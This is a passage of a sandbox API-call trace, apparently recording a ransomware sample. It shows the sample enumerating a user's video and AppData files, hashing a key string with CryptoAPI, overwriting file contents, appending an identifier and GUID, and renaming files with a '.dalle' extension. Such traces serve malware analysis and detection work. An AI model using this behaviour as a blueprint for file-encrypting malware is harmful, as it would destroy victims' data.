dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.624] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.624] GetLastError () returned 0x0 [0121.624] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.624] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0121.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8d60) returned 0x3096780 [0121.625] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.625] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x8d5c, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x8d5c, lpOverlapped=0x0) returned 1 [0121.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.625] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8d61, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.625] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.625] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.625] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.626] CloseHandle (hObject=0x618) returned 1 [0121.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0121.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3096780 [0121.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffff40 | out: hHeap=0x5e0000) returned 1 [0121.627] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VAl2x_eF9QxFAJr5rV\\hkYdWviKftqSOmoU.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\val2x_ef9qxfajr5rv\\hkydwvikftqsomou.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VAl2x_eF9QxFAJr5rV\\hkYdWviKftqSOmoU.mp4.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\val2x_ef9qxfajr5rv\\hkydwvikftqsomou.mp4.dalle")) returned 1 [0121.627] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.627] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.628] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.628] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc40080, ftCreationTime.dwHighDateTime=0x1d4c77b, ftLastAccessTime.dwLowDateTime=0xb57c7770, ftLastAccessTime.dwHighDateTime=0x1d4c8a1, ftLastWriteTime.dwLowDateTime=0xb57c7770, ftLastWriteTime.dwHighDateTime=0x1d4c8a1, nFileSizeHigh=0x0, nFileSizeLow=0x5750, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="q1mFKd_YNe1ZXJ.swf", cAlternateFileName="Q1MFKD~1.SWF")) returned 1 [0121.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1160 [0121.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbe) returned 0x2ff6cb8 [0121.628] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1160 | out: hHeap=0x5e0000) returned 1 [0121.628] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VAl2x_eF9QxFAJr5rV\\q1mFKd_YNe1ZXJ.swf") returned=".swf" [0121.628] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VAl2x_eF9QxFAJr5rV\\q1mFKd_YNe1ZXJ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\val2x_ef9qxfajr5rv\\q1mfkd_yne1zxj.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.628] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=22352) returned 1 [0121.629] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.630] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x572a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.630] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.632] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.632] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x5750, lpOverlapped=0x0) returned 1 [0121.633] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.633] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.633] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.633] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.633] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0121.634] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.634] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.634] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.634] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.634] GetLastError () returned 0x0 [0121.634] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.634] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0121.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x5750) returned 0x3096780 [0121.634] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.634] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x574b, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x574b, lpOverlapped=0x0) returned 1 [0121.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.634] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5750, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.635] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.635] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.635] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.635] CloseHandle (hObject=0x618) returned 1 [0121.635] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0121.635] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3096780 [0121.636] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VAl2x_eF9QxFAJr5rV\\q1mFKd_YNe1ZXJ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\val2x_ef9qxfajr5rv\\q1mfkd_yne1zxj.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VAl2x_eF9QxFAJr5rV\\q1mFKd_YNe1ZXJ.swf.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\val2x_ef9qxfajr5rv\\q1mfkd_yne1zxj.swf.dalle")) returned 1 [0121.637] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc40080, ftCreationTime.dwHighDateTime=0x1d4c77b, ftLastAccessTime.dwLowDateTime=0xb57c7770, ftLastAccessTime.dwHighDateTime=0x1d4c8a1, ftLastWriteTime.dwLowDateTime=0xb57c7770, ftLastWriteTime.dwHighDateTime=0x1d4c8a1, nFileSizeHigh=0x0, nFileSizeLow=0x5750, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="q1mFKd_YNe1ZXJ.swf", cAlternateFileName="Q1MFKD~1.SWF")) returned 0 [0121.637] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.637] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.637] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.637] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018308 [0121.637] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.637] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0121.637] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.637] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.637] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.637] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0121.637] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.637] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.638] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.638] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.638] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.638] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.638] PathFindFileNameW (pszPath="") returned="" [0121.638] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018308 [0121.638] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.639] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.639] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0121.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0f40 [0121.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x1c) returned 0x3022ab0 [0121.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0fc8 [0121.639] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0121.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f30df8 [0121.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x38) returned 0x3008fa0 [0121.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.639] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0 [0121.639] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.639] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0fc8 [0121.639] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0f40 [0121.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.639] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0121.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.640] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0121.640] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.640] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.640] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.640] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.640] PathFindFileNameW (pszPath="") returned="" [0121.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0f40 [0121.640] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.641] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.642] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2fa8bd0 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x54) returned 0x3001720 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0f40 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.642] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018128 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f30df8 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022f48 [0121.642] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbe) returned 0x2ff6cb8 [0121.642] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f5b150 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.642] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094830 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xfc) returned 0x2f84e20 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0f40 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094960 [0121.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022f48 [0121.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30949f8 [0121.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094a90 [0121.643] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: 